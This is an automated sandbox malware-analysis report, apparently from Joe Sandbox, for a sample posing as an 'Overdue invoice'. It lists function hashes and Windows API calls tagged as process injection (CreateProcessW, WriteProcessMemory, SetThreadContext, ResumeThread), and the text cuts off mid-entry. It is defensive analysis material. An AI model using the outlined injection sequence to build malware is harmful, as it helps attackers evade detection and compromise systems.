Opcode Fuzzy Hash: 807e707b13d28dd99cb50703e7cb4bd9fbb600caa67c3dd1ab93c8aa8c57d5f2
Instruction Fuzzy Hash: 84E09B76E001186F8750DB7DAC055EF7FFDDA89261B004576F609D3200DA70490187E1

Uniqueness

Uniqueness Score: -1.00%

Function 06C65AC1 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567d685e6e4b5ec4ed2fc5797b97bf2aa4909d5b7adec504b43b02f31f34261c
Instruction ID: ed1727a1e6d089a29c204ad971de12a2dd418a5d69f4cfdb7d1cb5ee9ff304cf
Opcode Fuzzy Hash: 567d685e6e4b5ec4ed2fc5797b97bf2aa4909d5b7adec504b43b02f31f34261c
Instruction Fuzzy Hash: F4F0A539F101158FCB45EFA9E89C59DB7F6FB88316B118065E906D3354DB34AC428B91

Uniqueness

Uniqueness Score: -1.00%

Function 06C68F5F Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5030fb0f98baf847cd8de2e7dcf94154fd25298a4c14cfb3ab5697c10ac8ba
Instruction ID: 759eac93f27b9a813aa113d3c8ec9bb3d9d17e1df3a75ffd2f9f3a2b17d9d4d9
Opcode Fuzzy Hash: 6e5030fb0f98baf847cd8de2e7dcf94154fd25298a4c14cfb3ab5697c10ac8ba
Instruction Fuzzy Hash: CAE0ED36B001148B8F80FBFAD89449DB3F1BBC8211B544464F516E7354DE34AC019BA6

Uniqueness

Uniqueness Score: -1.00%

Function 06C64DE8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7774e100f00d1ab26b023c6fbb949adbb77cde7272281dada1dc82f2debde9f9
Instruction ID: a867f566fb05972668fb1b077747863903ad480d6f52789d7d8edf09e8609d4f
Opcode Fuzzy Hash: 7774e100f00d1ab26b023c6fbb949adbb77cde7272281dada1dc82f2debde9f9
Instruction Fuzzy Hash: 89E04872E001199F8B90EFBD98445AF7BF9EE8C221B004576E60DD3300EB704A118BD1

Uniqueness

Uniqueness Score: -1.00%

Function 06C68303 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 401ef50ac7d2d656bf1677270ba0b84bfa5a1b3c16b3fe2685954722f9378cc2
Instruction ID: ba91147be0af3a2ba91b071c0ff76ee9d7fefe5b38a3ac54d4e2fdcdd48ec061
Opcode Fuzzy Hash: 401ef50ac7d2d656bf1677270ba0b84bfa5a1b3c16b3fe2685954722f9378cc2
Instruction Fuzzy Hash: 4EE01A70E013099F8B90EEBAA8446DEBBF8EA44351F40003AE608D3200E73096028BE5

Uniqueness

Uniqueness Score: -1.00%

Function 06C682FF Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f0499df798d5df305aebb1e6a79664e17b1d36aadf3a8a3bc8df60fb9cd39f8
Instruction ID: 881ef42c677b5c8e336d5bde842168bd4a4b728bef4fa71e9ab712a3f5d9146f
Opcode Fuzzy Hash: 1f0499df798d5df305aebb1e6a79664e17b1d36aadf3a8a3bc8df60fb9cd39f8
Instruction Fuzzy Hash: E3E01A70E012058F8B80EFBAA84559E7AF8FA44251F40003AE608D3200E33086018BE4

Uniqueness

Uniqueness Score: -1.00%

Function 06C65E88 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02d885cd52249965cd62695adcfe6d81f432e48af2a59e75db9a8332b10499d
Instruction ID: 360497bf6b36eb213fc9d1f3dbeff5254051bfec7213f7ee9c05bfc8947f3e24
Opcode Fuzzy Hash: f02d885cd52249965cd62695adcfe6d81f432e48af2a59e75db9a8332b10499d
Instruction Fuzzy Hash: 74E0ED70D00319DFCB90EFB9854525FBBF4AB04204FA0496AD514E2340D77846408FD5

Uniqueness

Uniqueness Score: -1.00%

Function 06C65F38 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16d1af69b4bd05e60379fa5d82d81f3919146bec929ebd5ff937e0bace1d1754
Instruction ID: 03819eeb0996d7ee08a42438a8821223c9bc781deb8cdeb1bebde9461f1e204b
Opcode Fuzzy Hash: 16d1af69b4bd05e60379fa5d82d81f3919146bec929ebd5ff937e0bace1d1754
Instruction Fuzzy Hash: 34D02E32320061078380B76CACC079EA3CADBC6B90B12856CFA06CB388DF209C4183E4

Uniqueness

Uniqueness Score: -1.00%

Function 06C6A35C Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa646c719dff50e88c6341f421dbc3ba6786295389177e318f4a348d688128e5
Instruction ID: 299a012967ff7aed96214c33da466b593683bb9a314b7d05dc3dcb959dff9a17
Opcode Fuzzy Hash: aa646c719dff50e88c6341f421dbc3ba6786295389177e318f4a348d688128e5
Instruction Fuzzy Hash: 97D012107242169A5F8456F7255017E10CA1A8019AB954C7AA957EF2E5FE1CCA81327A

Uniqueness

Uniqueness Score: -1.00%

Function 06C67EC8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84978a394f03d7bd768da13cc393a58ade2f7543d0bfa1fd6f8fe0593abebdb6
Instruction ID: adad44d557887076f907737dccd256ed43d445833ec7e7c72a8c4cfb4175dc95
Opcode Fuzzy Hash: 84978a394f03d7bd768da13cc393a58ade2f7543d0bfa1fd6f8fe0593abebdb6
Instruction Fuzzy Hash: EAD02236F14A348F4A69624EA0D04ED328DC7446353000419F80AC7700CF19FD0243D8

Uniqueness

Uniqueness Score: -1.00%

Function 06C65C7A Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb96885f3d82ecbd99737fa89c4d8e983d87cbcee7993d9ec6b64300cf435be7
Instruction ID: 58140aa708f21008b6567bf2fc0a90a9f70722a2584a769f4e2bcdb0326cd119
Opcode Fuzzy Hash: eb96885f3d82ecbd99737fa89c4d8e983d87cbcee7993d9ec6b64300cf435be7
Instruction Fuzzy Hash: B8D0C93AA14104CBCB147BB0F8890DCB735EF8132AF5241B9D50696154CB3168108B50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: yqWDN.exePID: 5496, Parent PID: 3968COMMON

Execution Graph

Execution Coverage:	12.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	173
Total number of Limit Nodes:	10

Executed Functions

Function 02C6B528 Relevance: 6.1, APIs: 4, Instructions: 121
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 02C6B590
GetCurrentThread.KERNEL32 ref: 02C6B5CD
GetCurrentProcess.KERNEL32 ref: 02C6B60A
GetCurrentThreadId.KERNEL32 ref: 02C6B663

Memory Dump Source

Source File: 0000000F.00000002.373137415.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2c60000_yqWDN.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 3af8af29c6fd1d8dcdc39edc6ac57bbd517341248b7477e5174e0f79a64407c1
Instruction ID: 4eb7ae9bd0249efe75d697cb9d7733f519810101f94942c492c858f8f5555036
Opcode Fuzzy Hash: 3af8af29c6fd1d8dcdc39edc6ac57bbd517341248b7477e5174e0f79a64407c1
Instruction Fuzzy Hash: E75155B0D006498FDB14DFAACA887EEBBF0EF88318F24855AE419B7350D7349944CB65

Uniqueness

Uniqueness Score: -1.00%

Function 02C6B530 Relevance: 6.1, APIs: 4, Instructions: 120
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 02C6B590
GetCurrentThread.KERNEL32 ref: 02C6B5CD
GetCurrentProcess.KERNEL32 ref: 02C6B60A
GetCurrentThreadId.KERNEL32 ref: 02C6B663

Memory Dump Source

Source File: 0000000F.00000002.373137415.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2c60000_yqWDN.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 65b864f7578d8e092ae9034f06addb210d1a4f8b1fd9f35d15106b06e24f4302
Instruction ID: c96c814639feb039c1d653bceafe287eb94df8b21fc076d936f1e818f022f4f5
Opcode Fuzzy Hash: 65b864f7578d8e092ae9034f06addb210d1a4f8b1fd9f35d15106b06e24f4302
Instruction Fuzzy Hash: BE5156B0D006498FDB14DFAAC988BEEBBF0EF88318F24855AE409B7350D7349944CB65

Uniqueness

Uniqueness Score: -1.00%

Function 02C69530 Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02C69776

Memory Dump Source

Source File: 0000000F.00000002.373137415.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2c60000_yqWDN.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 833ffce916baff2b1092c719b55460e95258d8f7332d18b3dce05631a6ded861
Instruction ID: 2f5f3378a0d01291ba683c7a6bda41a9e5e2d9db0987977b4c848e300c507c39
Opcode Fuzzy Hash: 833ffce916baff2b1092c719b55460e95258d8f7332d18b3dce05631a6ded861
Instruction Fuzzy Hash: 287148B0A00B058FDB64DF2AD4887AAB7F1FF88214F108A2DD45AD7A50D734E945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04CF322B Relevance: 1.7, APIs: 1, Instructions: 158
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,?,00000009,?,?,?,?,?,?,?), ref: 04CF33D3

Memory Dump Source

Source File: 0000000F.00000002.378693090.0000000004CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4cf0000_yqWDN.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 798ff89752859e55a490ac6562ac22d85e02579411c9d08d187867993f4d755d
Instruction ID: f8032a2bde654364a64ee1b3b1bdfbeb8c24784815f08d71b11805a5f28339b0
Opcode Fuzzy Hash: 798ff89752859e55a490ac6562ac22d85e02579411c9d08d187867993f4d755d
Instruction Fuzzy Hash: D9611671D00368DFDB51CF99C880BDDBBB2AF49314F15819AE908A7260DB356A89CF61

Uniqueness

Uniqueness Score: -1.00%

Function 04CF3274 Relevance: 1.6, APIs: 1, Instructions: 150
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,?,00000009,?,?,?,?,?,?,?), ref: 04CF33D3

Memory Dump Source

Source File: 0000000F.00000002.378693090.0000000004CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4cf0000_yqWDN.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 39656b31146f06b641eab35ecfa88f99d19149a7c7eb89a0738fc8531888659d
Instruction ID: 59a65ac11aaf87d1805e5b7849be5ac73524b19db201eca16a181a47c3a6cbf9
Opcode Fuzzy Hash: 39656b31146f06b641eab35ecfa88f99d19149a7c7eb89a0738fc8531888659d
Instruction Fuzzy Hash: 7F513871900368EFDB50CF96C880BDDBBB6BF48314F158099E908B7250DB75AA89CF61

Uniqueness

Uniqueness Score: -1.00%

Function 04CF3280 Relevance: 1.6, APIs: 1, Instructions: 143
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,?,00000009,?,?,?,?,?,?,?), ref: 04CF33D3

Memory Dump Source

Source File: 0000000F.00000002.378693090.0000000004CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4cf0000_yqWDN.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 581c13915410e9be28bf720232ab920930edb0fef53941d80607f32646a29ec3
Instruction ID: b549181ff0a7155b587987091f21a3a4aeb1a6f907db8aed0f0bf06d33a4109c
Opcode Fuzzy Hash: 581c13915410e9be28bf720232ab920930edb0fef53941d80607f32646a29ec3
Instruction Fuzzy Hash: DF510671900368DFDB50CF96C880BDDBBB2BF48314F15809AE908B7250DB75AA89CF61

Uniqueness

Uniqueness Score: -1.00%

Function 02C6F9EB Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 02C6FB6A

Memory Dump Source

Source File: 0000000F.00000002.373137415.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2c60000_yqWDN.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 0e93ce7d0484893b2bdcfd39348129fa005c6f6a01cdd824e3c2fb06c11710c9
Instruction ID: 4876af1b2d6c1f2336dacc2750f60c03ecdaba825b7bbcd9a4197d73b26dee39
Opcode Fuzzy Hash: 0e93ce7d0484893b2bdcfd39348129fa005c6f6a01cdd824e3c2fb06c11710c9
Instruction Fuzzy Hash: 4051D2B1D003599FDB14CFAAD894ADEBFB1BF88314F24812AE419AB211D7709945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02C6FA50 Relevance: 1.6, APIs: 1, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 02C6FB6A

Memory Dump Source

Source File: 0000000F.00000002.373137415.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2c60000_yqWDN.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 133c595957d385cf10e26f6c5d0826cb131f87b5160d511cbea19d79343de973
Instruction ID: 00d3c9d1ecc835efb9babd03ddef171afcecb02e737aa208d59e1d00622eccf2
Opcode Fuzzy Hash: 133c595957d385cf10e26f6c5d0826cb131f87b5160d511cbea19d79343de973
Instruction Fuzzy Hash: E641C2B1D00309DFDB14CF9AD884AEEBBB5BF88314F24812EE819AB210D7749945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02C6FA58 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 02C6FB6A

Memory Dump Source

Source File: 0000000F.00000002.373137415.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2c60000_yqWDN.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: eb5e10b359c2871e4e1160e8f552a709aae166936ebbd453848cb73474396f7d
Instruction ID: a94843b4150b9a3e9cde7645b0ede6bcbb3057ed2d37ff9a919bc551e9310279
Opcode Fuzzy Hash: eb5e10b359c2871e4e1160e8f552a709aae166936ebbd453848cb73474396f7d
Instruction Fuzzy Hash: 3341CFB1D00309DFDB14CF9AD884ADEBBB5BF88314F24812AE819AB210D7749945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04CF3820 Relevance: 1.6, APIs: 1, Instructions: 66
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 04CF38B5

Memory Dump Source

Source File: 0000000F.00000002.378693090.0000000004CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4cf0000_yqWDN.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 707f627cea93314893edf595305cf749f6715c86f6be2d6c4c8f2e440d7e6711
Instruction ID: 293e71fb382dfbceaeadef4ede8100ae242d706891f19cfc4b271d8b43738a60
Opcode Fuzzy Hash: 707f627cea93314893edf595305cf749f6715c86f6be2d6c4c8f2e440d7e6711
Instruction Fuzzy Hash: 802103B5900259DFCB10CF9AC985BDEBBF5FF48314F10842AE918A3350D378A944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04CF3828 Relevance: 1.6, APIs: 1, Instructions: 65
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 04CF38B5

Memory Dump Source

Source File: 0000000F.00000002.378693090.0000000004CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4cf0000_yqWDN.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 80bbafe89dbdaeca1bf1c2ad737dbf502b7c792e303b5e8c05dbcbb9e84476ae
Instruction ID: dd59668eb58a1cd4819698cf0f86fe1ca832e80a79dd0181ee94f63d792cb590
Opcode Fuzzy Hash: 80bbafe89dbdaeca1bf1c2ad737dbf502b7c792e303b5e8c05dbcbb9e84476ae
Instruction Fuzzy Hash: 892114B1900299DFCB10CF9AC884BDEBBF4FF48314F50842AE918A3350D778A944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04CF35E8 Relevance: 1.6, APIs: 1, Instructions: 63
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 04CF3667

Memory Dump Source

Source File: 0000000F.00000002.378693090.0000000004CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4cf0000_yqWDN.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: bae5ee883215868f22480a193375683641f80e7a2ce6c7b30ed62b7584d3ae13
Instruction ID: fb1852ece6c83d760e86d38178ca581e163e9741235e3a4f0241a790acd5a4f4
Opcode Fuzzy Hash: bae5ee883215868f22480a193375683641f80e7a2ce6c7b30ed62b7584d3ae13
Instruction Fuzzy Hash: 3B2129B1D002599BCB10CF9AC88579EFBF4BB49224F54812AE918B7341D778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02C6BB59 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02C6BBE7

Memory Dump Source

Source File: 0000000F.00000002.373137415.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2c60000_yqWDN.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 957e62fec079b5029329287422b063b4d8a5f8bab8fee90260905043ee15ee07
Instruction ID: 8df767b7dee44b6456ff8fca140988e9fdf566c2f96efc0716838189e2df06f1
Opcode Fuzzy Hash: 957e62fec079b5029329287422b063b4d8a5f8bab8fee90260905043ee15ee07
Instruction Fuzzy Hash: 7521E3B5900249DFDB10CFAAD984AEEBBF8BF48324F14845AE954B3311C374A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02C6BB60 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02C6BBE7

Memory Dump Source

Source File: 0000000F.00000002.373137415.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2c60000_yqWDN.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1a61e1d6380a04ac8928b3c03ec0e44458f24dbf0f0483b19b78413af5b19678
Instruction ID: 5de4eee57134403891f908739d7c59cb1cc68c1717aa7ef460ea2697dae0df66
Opcode Fuzzy Hash: 1a61e1d6380a04ac8928b3c03ec0e44458f24dbf0f0483b19b78413af5b19678
Instruction Fuzzy Hash: 8021E4B5900249DFDB10CFAAD984AEEBBF8EB48324F14801AE914A3310C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04CF36AB Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04CF372F

Memory Dump Source

Source File: 0000000F.00000002.378693090.0000000004CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4cf0000_yqWDN.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1a0d027460969c548664254e5bc4fdb5224ec377ae8c59200b0c23aea00ca5c3
Instruction ID: d9e4d8b341a262e6cdcbf8907b0481c714be26445752b3485678a03476154368
Opcode Fuzzy Hash: 1a0d027460969c548664254e5bc4fdb5224ec377ae8c59200b0c23aea00ca5c3
Instruction Fuzzy Hash: 8F2102B5900659DFCB10CF9AC884BDEBBF4FB48320F14842AE918A7351D338A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04CF36B0 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04CF372F

Memory Dump Source

Source File: 0000000F.00000002.378693090.0000000004CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4cf0000_yqWDN.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 7c8888e926acf8606c89f76336e9e31d1165f17e241ec7907cf1f5a732134b3c
Instruction ID: 8ee430ffadac2c653eb4345b87fda0ab346ea2d44e27c85346f374c9bf8f2fc8
Opcode Fuzzy Hash: 7c8888e926acf8606c89f76336e9e31d1165f17e241ec7907cf1f5a732134b3c
Instruction Fuzzy Hash: 2A21E2B5900659DFCB10CF9AD884BDEBBF4FB48320F10842AE918A7251D378A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04CF35F0 Relevance: 1.6, APIs: 1, Instructions: 58threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 04CF3667

Memory Dump Source

Source File: 0000000F.00000002.378693090.0000000004CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4cf0000_yqWDN.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 194a67fbc7cf58c0bb2ea981bab561b3cac9b08192d40f4eb6af93bce4c71ef5
Instruction ID: 2ab2e9350ee1f20552950c813055ff2ff26459bed1f94f30cf7ad9e48f5caf44
Opcode Fuzzy Hash: 194a67fbc7cf58c0bb2ea981bab561b3cac9b08192d40f4eb6af93bce4c71ef5
Instruction Fuzzy Hash: 6F2108B1D006599FCB10CF9AC8457DEFBF4BB48624F54812AE918B7341D778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0736BD58 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0736BDCB

Memory Dump Source

Source File: 0000000F.00000002.381718648.0000000007360000.00000040.00000800.00020000.00000000.sdmp, Offset: 07360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7360000_yqWDN.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1346a7f4d61bebaecb9448e9bd5ae0bb9a283ed45081561ed14a6832882bd4f1
Instruction ID: 5270e62e13be913b5831017e187d1036a81790728ffba16b039267b2d1ab1d8c
Opcode Fuzzy Hash: 1346a7f4d61bebaecb9448e9bd5ae0bb9a283ed45081561ed14a6832882bd4f1
Instruction Fuzzy Hash: 502114B19002599FCB10CF9AC884BDEFBF8FF48320F10842AE958A7241D378A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02C69180 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02C697F1,00000800,00000000,00000000), ref: 02C69A02

Memory Dump Source

Source File: 0000000F.00000002.373137415.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2c60000_yqWDN.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: df6db251e529807554ede8c15b5d937d763641cafd96565f85e4dcb0b576b24c
Instruction ID: 26bb0eab99bd00d87fa40e06f7ff1e35f33faea0f83685f4cc40a553cd6d9ac2
Opcode Fuzzy Hash: df6db251e529807554ede8c15b5d937d763641cafd96565f85e4dcb0b576b24c
Instruction Fuzzy Hash: 641114B2D002498FCB10DF9AC488BEEFBF4EB88364F15842EE419A7201C375A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02C69990 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02C697F1,00000800,00000000,00000000), ref: 02C69A02

Memory Dump Source

Source File: 0000000F.00000002.373137415.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2c60000_yqWDN.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 253d7d2f2f72a5fb9c4d73afbd116326d0be06d05dc2038b309b059d7ee6ea15
Instruction ID: d849eca6045b9816c210c7e875a0a55bf501c0229e4502dcd77d40b65c09eb6c
Opcode Fuzzy Hash: 253d7d2f2f72a5fb9c4d73afbd116326d0be06d05dc2038b309b059d7ee6ea15
Instruction Fuzzy Hash: B11103B29002498FCB10CFAAD484AEEFBF4AF88324F15846EE419A7601C775A545CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 04CF3988 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 04CF3A3F

Memory Dump Source

